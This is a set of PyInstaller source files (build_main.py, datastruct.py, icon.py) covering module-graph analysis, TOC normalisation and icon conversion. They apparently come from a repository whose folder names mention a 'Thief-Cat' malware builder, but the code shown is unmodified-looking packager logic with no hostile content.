        # recursively parsed into a subgraph of the module graph. This subgraph is then connected to this graph's root
        # node, ensuring imported module nodes will be reachable from the root node -- which is is (arbitrarily) chosen
        # to be the first entry point's node.

        # List to hold graph nodes of scripts and runtime hooks in use order.
        priority_scripts = []

        # Assume that if the script does not exist, Modulegraph will raise error. Save the graph nodes of each in
        # sequence.
        for script in self.inputs:
            logger.info("Analyzing %s", script)
            priority_scripts.append(self.graph.add_script(script))

        # Analyze the script's hidden imports (named on the command line)
        self.graph.add_hiddenimports(self.hiddenimports)

        # -- Post-graph hooks. --
        self.graph.process_post_graph_hooks(self)

        # Update 'binaries' and 'datas' TOC lists with entries collected from hooks.
        self.binaries += self.graph.make_hook_binaries_toc()
        self.datas += self.graph.make_hook_datas_toc()

        # We do not support zipped eggs anymore (PyInstaller v6.0), so `zipped_data` and `zipfiles` are always empty.
        self.zipped_data = []
        self.zipfiles = []

        # -- Automatic binary vs. data reclassification. --
        #
        # At this point, `binaries` and `datas` contain  TOC entries supplied by user via input arguments, and by hooks
        # that were ran during the analysis. Neither source can be fully trusted regarding the DATA vs BINARY
        # classification (no thanks to our hookutils not being 100% reliable, either!). Therefore, inspect the files and
        # automatically reclassify them as necessary.
        #
        # The proper classification is important especially for collected binaries - to ensure that they undergo binary
        # dependency analysis and platform-specific binary processing. On macOS, the .app bundle generation code also
        # depends on files to be properly classified.
        #
        # For entries added to `binaries` and `datas` after this point, we trust their typecodes due to the nature of
        # their origin.
        combined_toc = normalize_toc(self.datas + self.binaries)

        self.datas = []
        self.binaries = []

        for dest_name, src_name, typecode in combined_toc:
            # Returns 'BINARY' or 'DATA', or None if file cannot be classified.
            detected_typecode = bindepend.classify_binary_vs_data(src_name)
            if detected_typecode is not None:
                if detected_typecode != typecode:
                    logger.debug(
                        "Reclassifying collected file %r from %s to %s...", src_name, typecode, detected_typecode
                    )
                typecode = detected_typecode

            # Put back into corresponding TOC list.
            if typecode in {'BINARY', 'EXTENSION'}:
                self.binaries.append((dest_name, src_name, typecode))
            else:
                self.datas.append((dest_name, src_name, typecode))

        # -- Look for dlls that are imported by Python 'ctypes' module. --
        # First get code objects of all modules that import 'ctypes'.
        logger.info('Looking for ctypes DLLs')
        # dict like: {'module1': code_obj, 'module2': code_obj}
        ctypes_code_objs = self.graph.get_code_using("ctypes")

        for name, co in ctypes_code_objs.items():
            # Get dlls that might be needed by ctypes.
            logger.debug('Scanning %s for shared libraries or dlls', name)
            try:
                ctypes_binaries = scan_code_for_ctypes(co)
                self.binaries.extend(set(ctypes_binaries))
            except Exception as ex:
                raise RuntimeError(f"Failed to scan the module '{name}'. This is a bug. Please report it.") from ex

        self.datas.extend((dest, source, "DATA")
                          for (dest, source) in format_binaries_and_datas(self.graph.metadata_required()))

        # Analyze run-time hooks. Run-time hooks has to be executed before user scripts. Add them to the beginning of
        # 'priority_scripts'.
        priority_scripts = self.graph.analyze_runtime_hooks(self.custom_runtime_hooks) + priority_scripts

        # 'priority_scripts' is now a list of the graph nodes of custom runtime hooks, then regular runtime hooks, then
        # the PyI loader scripts. Further on, we will make sure they end up at the front of self.scripts

        # -- Extract the nodes of the graph as TOCs for further processing. --

        # Initialize the scripts list with priority scripts in the proper order.
        self.scripts = self.graph.nodes_to_toc(priority_scripts)
        self.scripts = normalize_toc(self.scripts)  # Should not really contain duplicates, but just in case...

        # Extend the binaries list with all the Extensions modulegraph has found.
        self.binaries += self.graph.make_binaries_toc()

        # Convert extension module names into full filenames, and append suffix. Ensure that extensions that come from
        # the lib-dynload are collected into _MEIPASS/lib-dynload instead of directly into _MEIPASS.
        for idx, (dest, source, typecode) in enumerate(self.binaries):
            if typecode != 'EXTENSION':
                continue

            # Convert to full filename and append suffix
            dest, source, typecode = add_suffix_to_extension(dest, source, typecode)

            # Divert into lib-dyload, if necessary (i.e., if file comes from lib-dynload directory) and its destination
            # path does not already have a directory prefix.
            src_parent = os.path.basename(os.path.dirname(source))
            if src_parent == 'lib-dynload' and not os.path.dirname(os.path.normpath(dest)):
                dest = os.path.join('lib-dynload', dest)

            # Update
            self.binaries[idx] = (dest, source, typecode)

        # Perform initial normalization of `datas` and `binaries`
        self.datas = normalize_toc(self.datas)
        self.binaries = normalize_toc(self.binaries)

        # Post-process GLib schemas
        self.datas = compile_glib_schema_files(self.datas, os.path.join(CONF['workpath'], "_pyi_gschema_compilation"))
        self.datas = normalize_toc(self.datas)

        # Process the pure-python modules list. Depending on the collection mode, these entries end up either in "pure"
        # list for collection into the PYZ archive, or in the "datas" list for collection as external data files.
        assert len(self.pure) == 0
        pure_pymodules_toc = self.graph.make_pure_toc()

        # Merge package collection mode settings from .spec file. These are applied last, so they override the
        # settings previously applied by hooks.
        self.graph._module_collection_mode.update(self.module_collection_mode)
        logger.debug("Module collection settings: %r", self.graph._module_collection_mode)

        pycs_dir = os.path.join(CONF['workpath'], 'localpycs')
        code_cache = self.graph.get_code_objects()

        for name, src_path, typecode in pure_pymodules_toc:
            assert typecode == 'PYMODULE'
            collect_mode = _get_module_collection_mode(self.graph._module_collection_mode, name, self.noarchive)

            # Collect byte-compiled .pyc into PYZ archive
            if _ModuleCollectionMode.PYZ in collect_mode:
                self.pure.append((name, src_path, typecode))

            # Pure namespace packages have no source path, and cannot be collected as external data file.
            if src_path in (None, '-'):
                continue

            # Collect source .py file as external data file
            if _ModuleCollectionMode.PY in collect_mode:
                dest_path = name.replace('.', os.sep)
                # Special case: modules have an implied filename to add.
                basename, ext = os.path.splitext(os.path.basename(src_path))
                if basename == '__init__':
                    dest_path += os.sep + '__init__' + ext
                else:
                    dest_path += ext
                self.datas.append((dest_path, src_path, "DATA"))

            # Collect byte-compiled .pyc file as external data file
            if _ModuleCollectionMode.PYC in collect_mode:
                dest_path = name.replace('.', os.sep)
                # Special case: modules have an implied filename to add.
                basename, ext = os.path.splitext(os.path.basename(src_path))
                if basename == '__init__':
                    dest_path += os.sep + '__init__'
                # Append the extension for the compiled result. In python 3.5 (PEP-488) .pyo files were replaced by
                # .opt-1.pyc and .opt-2.pyc. However, it seems that for bytecode-only module distribution, we always
                # need to use the .pyc extension.
                dest_path += '.pyc'

                # Compile
                obj_path = compile_pymodule(name, src_path, workpath=pycs_dir, code_cache=code_cache)

                self.datas.append((dest_path, obj_path, "DATA"))

        # Normalize list of pure-python modules (these will end up in PYZ archive, so use specific normalization).
        self.pure = normalize_pyz_toc(self.pure)

        # Associate the `pure` TOC list instance with code cache in the global `CONF`; this is used by `PYZ` writer
        # to obtain modules' code from cache instead
        #
        # (NOTE: back when `pure` was an instance of `TOC` class, the code object was passed by adding an attribute
        # to the `pure` itself; now that `pure` is plain `list`, we cannot do that anymore. But the association via
        # object ID should have the same semantics as the added attribute).
        from PyInstaller.config import CONF
        global_code_cache_map = CONF['code_cache']
        global_code_cache_map[id(self.pure)] = code_cache

        # Add remaining binary dependencies - analyze Python C-extensions and what DLLs they depend on.
        #
        # Up until this point, we did very best not to import the packages into the main process. However, a package
        # may set up additional library search paths during its import (e.g., by modifying PATH or calling the
        # add_dll_directory() function on Windows, or modifying LD_LIBRARY_PATH on Linux). In order to reliably
        # discover dynamic libraries, we therefore require an environment with all packages imported. We achieve that
        # by gathering list of all collected packages, and spawn an isolated process, in which we first import all
        # the packages from the list, and then perform search for dynamic libraries.
        logger.info('Looking for dynamic libraries')

        collected_packages = self.graph.get_collected_packages()
        self.binaries.extend(find_binary_dependencies(self.binaries, collected_packages))

        # Apply work-around for (potential) binaries collected from `pywin32` package...
        if is_win:
            self.binaries = postprocess_binaries_toc_pywin32(self.binaries)
            # With anaconda, we need additional work-around...
            if is_conda:
                self.binaries = postprocess_binaries_toc_pywin32_anaconda(self.binaries)

        # Final normalization of `datas` and `binaries`:
        #  - normalize both TOCs together (to avoid having duplicates across the lists)
        #  - process the combined normalized TOC for symlinks
        #  - split back into `binaries` (BINARY, EXTENSION) and `datas` (everything else)
        combined_toc = normalize_toc(self.datas + self.binaries)
        combined_toc = toc_process_symbolic_links(combined_toc)

        # On macOS, look for binaries collected from .framework bundles, and collect their Info.plist files.
        if is_darwin:
            combined_toc += osxutils.collect_files_from_framework_bundles(combined_toc)

        self.datas = []
        self.binaries = []
        for entry in combined_toc:
            dest_name, src_name, typecode = entry
            if typecode in {'BINARY', 'EXTENSION'}:
                self.binaries.append(entry)
            else:
                self.datas.append(entry)

        # Write warnings about missing modules.
        self._write_warnings()
        # Write debug information about the graph
        self._write_graph_debug()

    def _write_warnings(self):
        """
        Write warnings about missing modules. Get them from the graph and use the graph to figure out who tried to
        import them.
        """
        def dependency_description(name, dep_info):
            if not dep_info or dep_info == 'direct':
                imptype = 0
            else:
                imptype = (dep_info.conditional + 2 * dep_info.function + 4 * dep_info.tryexcept)
            return '%s (%s)' % (name, IMPORT_TYPES[imptype])

        from PyInstaller.config import CONF
        miss_toc = self.graph.make_missing_toc()
        with open(CONF['warnfile'], 'w', encoding='utf-8') as wf:
            wf.write(WARNFILE_HEADER)
            for (n, p, status) in miss_toc:
                importers = self.graph.get_importers(n)
                print(
                    status,
                    'module named',
                    n,
                    '- imported by',
                    ', '.join(dependency_description(name, data) for name, data in importers),
                    file=wf
                )
        logger.info("Warnings written to %s", CONF['warnfile'])

    def _write_graph_debug(self):
        """
        Write a xref (in html) and with `--log-level DEBUG` a dot-drawing of the graph.
        """
        from PyInstaller.config import CONF
        with open(CONF['xref-file'], 'w', encoding='utf-8') as fh:
            self.graph.create_xref(fh)
            logger.info("Graph cross-reference written to %s", CONF['xref-file'])
        if logger.getEffectiveLevel() > logging.DEBUG:
            return
        # The `DOT language's <https://www.graphviz.org/doc/info/lang.html>`_ default character encoding (see the end
        # of the linked page) is UTF-8.
        with open(CONF['dot-file'], 'w', encoding='utf-8') as fh:
            self.graph.graphreport(fh)
            logger.info("Graph drawing written to %s", CONF['dot-file'])

    def exclude_system_libraries(self, list_of_exceptions=None):
        """
        This method may be optionally called from the spec file to exclude any system libraries from the list of
        binaries other than those containing the shell-style wildcards in list_of_exceptions. Those that match
        '*python*' or are stored under 'lib-dynload' are always treated as exceptions and not excluded.
        """

        self.binaries = [
            entry for entry in self.binaries if _should_include_system_binary(entry, list_of_exceptions or [])
        ]


class ExecutableBuilder:
    """
    Class that constructs the executable.
    """
    # TODO wrap the 'main' and 'build' function into this class.


def build(spec, distpath, workpath, clean_build):
    """
    Build the executable according to the created SPEC file.
    """
    from PyInstaller.config import CONF

    # Ensure starting tilde and environment variables get expanded in distpath / workpath.
    # '~/path/abc', '${env_var_name}/path/abc/def'
    distpath = os.path.abspath(compat.expand_path(distpath))
    workpath = os.path.abspath(compat.expand_path(workpath))
    CONF['spec'] = os.path.abspath(compat.expand_path(spec))

    CONF['specpath'], CONF['specnm'] = os.path.split(CONF['spec'])
    CONF['specnm'] = os.path.splitext(CONF['specnm'])[0]

    # Add 'specname' to workpath and distpath if they point to PyInstaller homepath.
    if os.path.dirname(distpath) == HOMEPATH:
        distpath = os.path.join(HOMEPATH, CONF['specnm'], os.path.basename(distpath))
    CONF['distpath'] = distpath
    if os.path.dirname(workpath) == HOMEPATH:
        workpath = os.path.join(HOMEPATH, CONF['specnm'], os.path.basename(workpath), CONF['specnm'])
    else:
        workpath = os.path.join(workpath, CONF['specnm'])
    CONF['workpath'] = workpath

    CONF['warnfile'] = os.path.join(workpath, 'warn-%s.txt' % CONF['specnm'])
    CONF['dot-file'] = os.path.join(workpath, 'graph-%s.dot' % CONF['specnm'])
    CONF['xref-file'] = os.path.join(workpath, 'xref-%s.html' % CONF['specnm'])

    CONF['code_cache'] = dict()

    # Clean PyInstaller cache (CONF['cachedir']) and temporary files (workpath) to be able start a clean build.
    if clean_build:
        logger.info('Removing temporary files and cleaning cache in %s', CONF['cachedir'])
        for pth in (CONF['cachedir'], workpath):
            if os.path.exists(pth):
                # Remove all files in 'pth'.
                for f in glob.glob(pth + '/*'):
                    # Remove dirs recursively.
                    if os.path.isdir(f):
                        shutil.rmtree(f)
                    else:
                        os.remove(f)

    # Create DISTPATH and workpath if they does not exist.
    for pth in (CONF['distpath'], CONF['workpath']):
        os.makedirs(pth, exist_ok=True)

    # Construct NAMESPACE for running the Python code from .SPEC file.
    # NOTE: Passing NAMESPACE allows to avoid having global variables in this module and makes isolated environment for
    #       running tests.
    # NOTE: Defining NAMESPACE allows to map any class to a apecific name for .SPEC.
    # FIXME: Some symbols might be missing. Add them if there are some failures.
    # TODO: What from this .spec API is deprecated and could be removed?
    spec_namespace = {
        # Set of global variables that can be used while processing .spec file. Some of them act as configuration
        # options.
        'DISTPATH': CONF['distpath'],
        'HOMEPATH': HOMEPATH,
        'SPEC': CONF['spec'],
        'specnm': CONF['specnm'],
        'SPECPATH': CONF['specpath'],
        'WARNFILE': CONF['warnfile'],
        'workpath': CONF['workpath'],
        # PyInstaller classes for .spec.
        'TOC': TOC,  # Kept for backward compatibility even though `TOC` class is deprecated.
        'Analysis': Analysis,
        'BUNDLE': BUNDLE,
        'COLLECT': COLLECT,
        'EXE': EXE,
        'MERGE': MERGE,
        'PYZ': PYZ,
        'Tree': Tree,
        'Splash': Splash,
        # Python modules available for .spec.
        'os': os,
    }

    # Execute the specfile. Read it as a binary file...
    try:
        with open(spec, 'rb') as f:
            # ... then let Python determine the encoding, since ``compile`` accepts byte strings.
            code = compile(f.read(), spec, 'exec')
    except FileNotFoundError:
        raise SystemExit(f'Spec file "{spec}" not found!')
    exec(code, spec_namespace)


def __add_options(parser):
    parser.add_argument(
        "--distpath",
        metavar="DIR",
        default=DEFAULT_DISTPATH,
        help="Where to put the bundled app (default: ./dist)",
    )
    parser.add_argument(
        '--workpath',
        default=DEFAULT_WORKPATH,
        help="Where to put all the temporary work files, .log, .pyz and etc. (default: ./build)",
    )
    parser.add_argument(
        '-y',
        '--noconfirm',
        action="store_true",
        default=False,
        help="Replace output directory (default: %s) without asking for confirmation" %
        os.path.join('SPECPATH', 'dist', 'SPECNAME'),
    )
    parser.add_argument(
        '--upx-dir',
        default=None,
        help="Path to UPX utility (default: search the execution path)",
    )
    parser.add_argument(
        '--clean',
        dest='clean_build',
        action='store_true',
        default=False,
        help="Clean PyInstaller cache and remove temporary files before building.",
    )


def main(
    pyi_config,
    specfile,
    noconfirm=False,
    distpath=DEFAULT_DISTPATH,
    workpath=DEFAULT_WORKPATH,
    upx_dir=None,
    clean_build=False,
    **kw
):
    from PyInstaller.config import CONF
    CONF['noconfirm'] = noconfirm

    # If configuration dict is supplied - skip configuration step.
    if pyi_config is None:
        import PyInstaller.configure as configure
        CONF.update(configure.get_config(upx_dir=upx_dir))
    else:
        CONF.update(pyi_config)

    CONF['ui_admin'] = kw.get('ui_admin', False)
    CONF['ui_access'] = kw.get('ui_uiaccess', False)

    build(specfile, distpath, workpath, clean_build)

ThiefCat_assets/MwlareBuilder/building/build_main.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import os
import pathlib
import warnings

from PyInstaller import log as logging
from PyInstaller.building.utils import _check_guts_eq
from PyInstaller.utils import misc

logger = logging.getLogger(__name__)


def unique_name(entry):
    """
    Return the filename used to enforce uniqueness for the given TOC entry.

    Parameters
    ----------
    entry : tuple

    Returns
    -------
    unique_name: str
    """
    name, path, typecode = entry
    if typecode in ('BINARY', 'DATA', 'EXTENSION', 'DEPENDENCY'):
        name = os.path.normcase(name)

    return name


# This class is deprecated and has been replaced by plain lists with explicit normalization (de-duplication) via
# `normalize_toc` and `normalize_pyz_toc` helper functions.
class TOC(list):
    """
    TOC (Table of Contents) class is a list of tuples of the form (name, path, typecode).

    typecode    name                   path                        description
    --------------------------------------------------------------------------------------
    EXTENSION   Python internal name.  Full path name in build.    Extension module.
    PYSOURCE    Python internal name.  Full path name in build.    Script.
    PYMODULE    Python internal name.  Full path name in build.    Pure Python module (including __init__ modules).
    PYZ         Runtime name.          Full path name in build.    A .pyz archive (ZlibArchive data structure).
    PKG         Runtime name.          Full path name in build.    A .pkg archive (Carchive data structure).
    BINARY      Runtime name.          Full path name in build.    Shared library.
    DATA        Runtime name.          Full path name in build.    Arbitrary files.
    OPTION      The option.            Unused.                     Python runtime option (frozen into executable).

    A TOC contains various types of files. A TOC contains no duplicates and preserves order.
    PyInstaller uses TOC data type to collect necessary files bundle them into an executable.
    """
    def __init__(self, initlist=None):
        super().__init__()

        # Deprecation warning
        warnings.warn(
            "TOC class is deprecated. Use a plain list of 3-element tuples instead.",
            DeprecationWarning,
            stacklevel=2,
        )

        self.filenames = set()
        if initlist:
            for entry in initlist:
                self.append(entry)

    def append(self, entry):
        if not isinstance(entry, tuple):
            logger.info("TOC found a %s, not a tuple", entry)
            raise TypeError("Expected tuple, not %s." % type(entry).__name__)

        unique = unique_name(entry)

        if unique not in self.filenames:
            self.filenames.add(unique)
            super().append(entry)

    def insert(self, pos, entry):
        if not isinstance(entry, tuple):
            logger.info("TOC found a %s, not a tuple", entry)
            raise TypeError("Expected tuple, not %s." % type(entry).__name__)
        unique = unique_name(entry)

        if unique not in self.filenames:
            self.filenames.add(unique)
            super().insert(pos, entry)

    def __add__(self, other):
        result = TOC(self)
        result.extend(other)
        return result

    def __radd__(self, other):
        result = TOC(other)
        result.extend(self)
        return result

    def __iadd__(self, other):
        for entry in other:
            self.append(entry)
        return self

    def extend(self, other):
        # TODO: look if this can be done more efficient with out the loop, e.g. by not using a list as base at all.
        for entry in other:
            self.append(entry)

    def __sub__(self, other):
        # Construct new TOC with entries not contained in the other TOC
        other = TOC(other)
        return TOC([entry for entry in self if unique_name(entry) not in other.filenames])

    def __rsub__(self, other):
        result = TOC(other)
        return result.__sub__(self)

    def __setitem__(self, key, value):
        if isinstance(key, slice):
            if key == slice(None, None, None):
                # special case: set the entire list
                self.filenames = set()
                self.clear()
                self.extend(value)
                return
            else:
                raise KeyError("TOC.__setitem__ doesn't handle slices")

        else:
            old_value = self[key]
            old_name = unique_name(old_value)
            self.filenames.remove(old_name)

            new_name = unique_name(value)
            if new_name not in self.filenames:
                self.filenames.add(new_name)
                super(TOC, self).__setitem__(key, value)


class Target:
    invcnum = 0

    def __init__(self):
        from PyInstaller.config import CONF

        # Get a (per class) unique number to avoid conflicts between toc objects
        self.invcnum = self.__class__.invcnum
        self.__class__.invcnum += 1
        self.tocfilename = os.path.join(CONF['workpath'], '%s-%02d.toc' % (self.__class__.__name__, self.invcnum))
        self.tocbasename = os.path.basename(self.tocfilename)
        self.dependencies = []

    def __postinit__(self):
        """
        Check if the target need to be rebuild and if so, re-assemble.

        `__postinit__` is to be called at the end of `__init__` of every subclass of Target. `__init__` is meant to
        setup the parameters and `__postinit__` is checking if rebuild is required and in case calls `assemble()`
        """
        logger.info("checking %s", self.__class__.__name__)
        data = None
        last_build = misc.mtime(self.tocfilename)
        if last_build == 0:
            logger.info("Building %s because %s is non existent", self.__class__.__name__, self.tocbasename)
        else:
            try:
                data = misc.load_py_data_struct(self.tocfilename)
            except Exception:
                logger.info("Building because %s is bad", self.tocbasename)
            else:
                # create a dict for easier access
                data = dict(zip((g[0] for g in self._GUTS), data))
        # assemble if previous data was not found or is outdated
        if not data or self._check_guts(data, last_build):
            self.assemble()
            self._save_guts()

    _GUTS = []

    def _check_guts(self, data, last_build):
        """
        Returns True if rebuild/assemble is required.
        """
        if len(data) != len(self._GUTS):
            logger.info("Building because %s is bad", self.tocbasename)
            return True
        for attr, func in self._GUTS:
            if func is None:
                # no check for this value
                continue
            if func(attr, data[attr], getattr(self, attr), last_build):
                return True
        return False

    def _save_guts(self):
        """
        Save the input parameters and the work-product of this run to maybe avoid regenerating it later.
        """
        data = tuple(getattr(self, g[0]) for g in self._GUTS)
        misc.save_py_data_struct(self.tocfilename, data)


class Tree(Target, list):
    """
    This class is a way of creating a TOC (Table of Contents) list that describes some or all of the files within a
    directory.
    """
    def __init__(self, root=None, prefix=None, excludes=None, typecode='DATA'):
        """
        root
                The root of the tree (on the build system).
        prefix
                Optional prefix to the names of the target system.
        excludes
                A list of names to exclude. Two forms are allowed:

                    name
                        Files with this basename will be excluded (do not include the path).
                    *.ext
                        Any file with the given extension will be excluded.
        typecode
                The typecode to be used for all files found in this tree. See the TOC class for for information about
                the typcodes.
        """
        Target.__init__(self)
        list.__init__(self)
        self.root = root
        self.prefix = prefix
        self.excludes = excludes
        self.typecode = typecode
        if excludes is None:
            self.excludes = []
        self.__postinit__()

    _GUTS = (  # input parameters
        ('root', _check_guts_eq),
        ('prefix', _check_guts_eq),
        ('excludes', _check_guts_eq),
        ('typecode', _check_guts_eq),
        ('data', None),  # tested below
        # no calculated/analysed values
    )

    def _check_guts(self, data, last_build):
        if Target._check_guts(self, data, last_build):
            return True
        # Walk the collected directories as check if they have been changed - which means files have been added or
        # removed. There is no need to check for the files, since `Tree` is only about the directory contents (which is
        # the list of files).
        stack = [data['root']]
        while stack:
            d = stack.pop()
            if misc.mtime(d) > last_build:
                logger.info("Building %s because directory %s changed", self.tocbasename, d)
                return True
            for nm in os.listdir(d):
                path = os.path.join(d, nm)
                if os.path.isdir(path):
                    stack.append(path)
        self[:] = data['data']  # collected files
        return False

    def _save_guts(self):
        # Use the attribute `data` to save the list
        self.data = self
        super()._save_guts()
        del self.data

    def assemble(self):
        logger.info("Building Tree %s", self.tocbasename)
        stack = [(self.root, self.prefix)]
        excludes = set()
        xexcludes = set()
        for name in self.excludes:
            if name.startswith('*'):
                xexcludes.add(name[1:])
            else:
                excludes.add(name)
        result = []
        while stack:
            dir, prefix = stack.pop()
            for filename in os.listdir(dir):
                if filename in excludes:
                    continue
                ext = os.path.splitext(filename)[1]
                if ext in xexcludes:
                    continue
                fullfilename = os.path.join(dir, filename)
                if prefix:
                    resfilename = os.path.join(prefix, filename)
                else:
                    resfilename = filename
                if os.path.isdir(fullfilename):
                    stack.append((fullfilename, resfilename))
                else:
                    result.append((resfilename, fullfilename, self.typecode))
        self[:] = result


def normalize_toc(toc):
    # Default priority: 0
    _TOC_TYPE_PRIORITIES = {
        # DEPENDENCY entries need to replace original entries, so they need the highest priority.
        'DEPENDENCY': 3,
        # SYMLINK entries have higher priority than other regular entries
        'SYMLINK': 2,
        # BINARY/EXTENSION entries undergo additional processing, so give them precedence over DATA and other entries.
        'BINARY': 1,
        'EXTENSION': 1,
    }

    def _type_case_normalization_fcn(typecode):
        # Case-normalize all entries except OPTION.
        return typecode not in {
            "OPTION",
        }

    return _normalize_toc(toc, _TOC_TYPE_PRIORITIES, _type_case_normalization_fcn)


def normalize_pyz_toc(toc):
    # Default priority: 0
    _TOC_TYPE_PRIORITIES = {
        # Ensure that modules are never shadowed by PYZ-embedded data files.
        'PYMODULE': 1,
    }

    return _normalize_toc(toc, _TOC_TYPE_PRIORITIES)


def _normalize_toc(toc, toc_type_priorities, type_case_normalization_fcn=lambda typecode: False):
    options_toc = []
    tmp_toc = dict()
    for dest_name, src_name, typecode in toc:
        # Exempt OPTION entries from de-duplication processing. Some options might allow being specified multiple times.
        if typecode == 'OPTION':
            options_toc.append(((dest_name, src_name, typecode)))
            continue

        # Always sanitize the dest_name with `os.path.normpath` to remove any local loops with parent directory path
        # components. `pathlib` does not seem to offer equivalent functionality.
        dest_name = os.path.normpath(dest_name)

        # Normalize the destination name for uniqueness. Use `pathlib.PurePath` to ensure that keys are both
        # case-normalized (on OSes where applicable) and directory-separator normalized (just in case).
        if type_case_normalization_fcn(typecode):
            entry_key = pathlib.PurePath(dest_name)
        else:
            entry_key = dest_name

        existing_entry = tmp_toc.get(entry_key)
        if existing_entry is None:
            # Entry does not exist - insert
            tmp_toc[entry_key] = (dest_name, src_name, typecode)
        else:
            # Entry already exists - replace if its typecode has higher priority
            _, _, existing_typecode = existing_entry
            if toc_type_priorities.get(typecode, 0) > toc_type_priorities.get(existing_typecode, 0):
                tmp_toc[entry_key] = (dest_name, src_name, typecode)

    # Return the items as list. The order matches the original order due to python dict maintaining the insertion order.
    # The exception are OPTION entries, which are now placed at the beginning of the TOC.
    return options_toc + list(tmp_toc.values())


def toc_process_symbolic_links(toc):
    """
    Process TOC entries and replace entries whose files are symbolic links with SYMLINK entries (provided original file
    is also being collected).
    """
    # Dictionary of all destination names, for a fast look-up.
    all_dest_files = set([dest_name for dest_name, src_name, typecode in toc])

    # Process the TOC to create SYMLINK entries
    new_toc = []
    for entry in toc:
        dest_name, src_name, typecode = entry

        # Skip entries that are already symbolic links
        if typecode == 'SYMLINK':
            new_toc.append(entry)
            continue

        # Skip entries without valid source name (e.g., OPTION)
        if not src_name:
            new_toc.append(entry)
            continue

        # Source path is not a symbolic link (i.e., it is a regular file or directory)
        if not os.path.islink(src_name):
            new_toc.append(entry)
            continue

        # Try preserving the symbolic link, under strict relative-relationship-preservation check
        symlink_entry = _try_preserving_symbolic_link(dest_name, src_name, all_dest_files)

        if symlink_entry:
            new_toc.append(symlink_entry)
        else:
            new_toc.append(entry)

    return new_toc


def _try_preserving_symbolic_link(dest_name, src_name, all_dest_files):
    seen_src_files = set()

    # Set initial values for the loop
    ref_src_file = src_name
    ref_dest_file = dest_name

    while True:
        # Guard against cyclic links...
        if ref_src_file in seen_src_files:
            break
        seen_src_files.add(ref_src_file)

        # Stop when referenced source file is not a symbolic link anymore.
        if not os.path.islink(ref_src_file):
            break

        # Read the symbolic link's target, but do not fully resolve it using os.path.realpath(), because there might be
        # other symbolic links involved as well (for example, /lib64 -> /usr/lib64 whereas we are processing
        # /lib64/liba.so -> /lib64/liba.so.1)
        symlink_target = os.readlink(ref_src_file)
        if os.path.isabs(symlink_target):
            break  # We support only relative symbolic links.

        ref_dest_file = os.path.join(os.path.dirname(ref_dest_file), symlink_target)
        ref_dest_file = os.path.normpath(ref_dest_file)  # remove any '..'

        ref_src_file = os.path.join(os.path.dirname(ref_src_file), symlink_target)
        ref_src_file = os.path.normpath(ref_src_file)  # remove any '..'

        # Check if referenced destination file is valid (i.e., we are collecting a file under referenced name).
        if ref_dest_file in all_dest_files:
            # Sanity check: original source name and current referenced source name must, after complete resolution,
            # point to the same file.
            if os.path.realpath(src_name) == os.path.realpath(ref_src_file):
                # Compute relative link for the destination file (might be modified, if we went over non-collected
                # intermediate links).
                rel_link = os.path.relpath(ref_dest_file, os.path.dirname(dest_name))
                return dest_name, rel_link, 'SYMLINK'

        # If referenced destination is not valid, do another iteration in case we are dealing with chained links and we
        # are not collecting an intermediate link...

    return None

ThiefCat_assets/MwlareBuilder/building/datastruct.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2022-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from typing import Tuple

import os
import hashlib


def normalize_icon_type(icon_path: str, allowed_types: Tuple[str], convert_type: str, workpath: str) -> str:
    """
    Returns a valid icon path or raises an Exception on error.
    Ensures that the icon exists, and, if necessary, attempts to convert it to correct OS-specific format using Pillow.

    Takes:
    icon_path - the icon given by the user
    allowed_types - a tuple of icon formats that should be allowed through
        EX: ("ico", "exe")
    convert_type - the type to attempt conversion too if necessary
        EX: "icns"
    workpath - the temp directory to save any newly generated image files
    """

    # explicitly error if file not found
    if not os.path.exists(icon_path):
        raise FileNotFoundError(f"Icon input file {icon_path} not found")

    _, extension = os.path.splitext(icon_path)
    extension = extension[1:]  # get rid of the "." in ".whatever"

    # if the file is already in the right format, pass it back unchanged
    if extension in allowed_types:
        # Check both the suffix and the header of the file to guard against the user confusing image types.
        signatures = hex_signatures[extension]
        with open(icon_path, "rb") as f:
            header = f.read(max(len(s) for s in signatures))
        if any(list(header)[:len(s)] == s for s in signatures):
            return icon_path

    # The icon type is wrong! Let's try and import PIL
    try:
        from PIL import Image as PILImage
        import PIL

    except ImportError:
        raise ValueError(
            f"Received icon image '{icon_path}' which exists but is not in the correct format. On this platform, "
            f"only {allowed_types} images may be used as icons. If Pillow is installed, automatic conversion will "
            f"be attempted. Please install Pillow or convert your '{extension}' file to one of {allowed_types} "
            f"and try again."
        )

    # Let's try to use PIL to convert the icon file type
    try:
        _generated_name = f"generated-{hashlib.sha256(icon_path.encode()).hexdigest()}.{convert_type}"
        generated_icon = os.path.join(workpath, _generated_name)
        with PILImage.open(icon_path) as im:
            # If an image uses a custom palette + transparency, convert it to RGBA for a better alpha mask depth.
            if im.mode == "P" and im.info.get("transparency", None) is not None:
                # The bit depth of the alpha channel will be higher, and the images will look better when eventually
                # scaled to multiple sizes (16,24,32,..) for the ICO format for example.
                im = im.convert("RGBA")
            im.save(generated_icon)
        icon_path = generated_icon
    except PIL.UnidentifiedImageError:
        raise ValueError(
            f"Something went wrong converting icon image '{icon_path}' to '.{convert_type}' with Pillow, "
            f"perhaps the image format is unsupported. Try again with a different file or use a file that can "
            f"be used without conversion on this platform: {allowed_types}"
        )

    return icon_path


# Possible initial bytes of icon types PyInstaller needs to be able to recognise.
# Taken from: https://en.wikipedia.org/wiki/List_of_file_signatures
hex_signatures = {
    "png": [[0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]],
    "exe": [[0x4D, 0x5A], [0x5A, 0x4D]],
    "ico": [[0x00, 0x00, 0x01, 0x00]],
    "icns": [[0x69, 0x63, 0x6e, 0x73]],
}

ThiefCat_assets/MwlareBuilder/building/icon.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
